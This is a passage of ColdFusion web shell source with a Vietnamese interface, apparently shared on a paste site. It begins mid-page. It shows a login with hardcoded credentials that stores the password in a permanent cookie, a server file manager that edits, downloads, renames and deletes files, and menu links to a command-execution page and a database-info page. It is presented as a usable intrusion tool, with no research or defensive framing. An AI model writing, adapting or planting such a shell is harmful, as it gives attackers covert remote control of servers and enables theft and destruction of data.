- C&##244;ng c&##7909;: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Th&##244;ng tin v&##7873; c&##225;c CSDL</a>
- </div>
- <hr>
- <center><a href="javascript:doMenu('thumuc');" id=xthumuc>[-]</a>Th&##432; m&##7909;c:</center>
- <div id="thumuc">
- </cfoutput>
- <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
- <table width="100%" border="0" align="center">
- <tr>
- <td width="35%"><strong>Tên</strong></td>
- <td width="10%" align="center"><strong>Kích Thước</strong></td>
- <td width="20%" align="center"><strong>ModifyTime</strong></td>
- <td width="5%" align="center"><strong>Chmod</strong></td>
- <td width="5%" align="center"><strong>Mode</strong></td>
- <td width="25%" align="center"><strong>Hành động</strong></td>
- </tr>
- <cfoutput>
- <cfif len(dir) gt 3>
- <tr>
- <cfset updir = #dir#>
- <cfset updir = #RemoveChars(updir, len(updir), 1)#>
- <cfloop condition = "Right(updir, 1) neq '\'">
- <cfset updir = #RemoveChars(updir, len(updir), 1)#>
- </cfloop>
- <td width="20%"><strong><a href="?action=goto&scr=#updir#">Tr&##7903; v&##7873; th&##432; m&##7909;c tr&##432;&##7899;c..</a></strong></td>
- </tr>
- </cfif>
- </cfoutput>
- <cfoutput query="myDirectory">
- <tr>
- <td>
- <cfif #Type# is "Dir">
- <a href="?action=goto&scr=#dir##Name#\">#Name#</a>
- <cfelse>
- #Name#
- </cfif>
- </td>
- <td align="center">
- <cfif #type# is "Dir">
- <Dir>
- <cfelseif #Size# LT 1024>
- #Size# B
- <cfelseif #Size# LT 1024*1024>
- #round(Size/1024)# KB
- <cfelseif #Size# LT 1024*1024*1024>
- #round(Size/1024/1024)# MB
- <cfelseif #Size# LT 1024*1024*1024*1024>
- #round(Size/1024/1024/1024)# GB
- <cfelseif #Size# LT 1024*1024*1024*1024*1024>
- #round(Size/1024/1024/1024/1024)# TB
- </cfif>
- </td>
- <td align="center">
- #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
- </td>
- <td align="center">#Attributes#</td>
- <td align="center">#Mode#</td>
- <td>
- <cfif #Type# is "File">
- <a href="?action=edit&scr=#dir##Name#">S&##7917;a</a>|<a href="?action=cut&scr=#dir##Name#">C&##7855;t</a>|<a href="?action=copy&scr=#dir##Name#">Ch&##233;p</a>|<a href="?action=rename&scr=#dir##Name#">&##272;&##7893;i t&##234;n</a>|<a href="?action=down&scr=#dir##Name#">T&##7843;i v&##7873;</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Ban co chac la muon xoa tep #Name# ko?')">X&##243;a</a>
- <cfelse>
- <a href="?action=cutd&scr=#dir##Name#\">C&##7855;t</a>|<a href="?action=copyd&scr=#dir##Name#\">Ch&##233;p</a>|<a href="?action=renamed&scr=#dir##Name#\">&##272;&##7893;i t&##234;n</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Ban co chac la muon xoa thu muc #Name# ko?')">X&##243;a</a>
- </cfif>
- </td>
- </tr>
- </cfoutput>
- </table>
- </div>
- </cfif>
- <!--- End Main --->
- <cfelseif Not IsDefined("cookie.username")>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- <center><table width="300" border="0">
- <tr>
- <td width="50">Tài khoản:</td>
- <td width="50"><input type="text" name="username"></td>
- </tr>
- <tr>
- <td width="50">Mật khẩu:</td>
- <td width="50"><input type="password" name="password"></td>
- </tr>
- <tr>
- <td width="50">Ghi nhớ:</td>
- <td width="50">
- <input type="checkbox" name="RememberMe" value="Yes" checked>
- <input type="submit" name="Process" value="Đăng nhập">
- </td>
- </tr>
- </table></center>
- </cfform>
- <cfif IsDefined("username")>
- <cfset member_username = "vampire">
- <cfset member_password = "vhc">
- <cfif #username# neq #member_username#>
- <center>Tài khoản này không tồn tại!</center>
- <cfset structclear(cookie)>
- <cfelseif (#password# neq #member_password#)>
- <center>Mật khẩu không chính xác!</center>
- <cfset structclear(cookie)>
- <cfelse>
- <cfif IsDefined("RememberMe")>
- <cfcookie name="username" value="#form.username#" expires="NEVER">
- <cfcookie name="password" value="#form.password#" expires="NEVER">
- <cfelse>
- <cfcookie name="username" value="#form.username#">
- <cfcookie name="password" value="#form.password#">
- </cfif>
- <cflocation url="?" addtoken="No">
- </cfif>
- </cfif>
- </cfif>
- <!--- End Login --->
- <hr>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement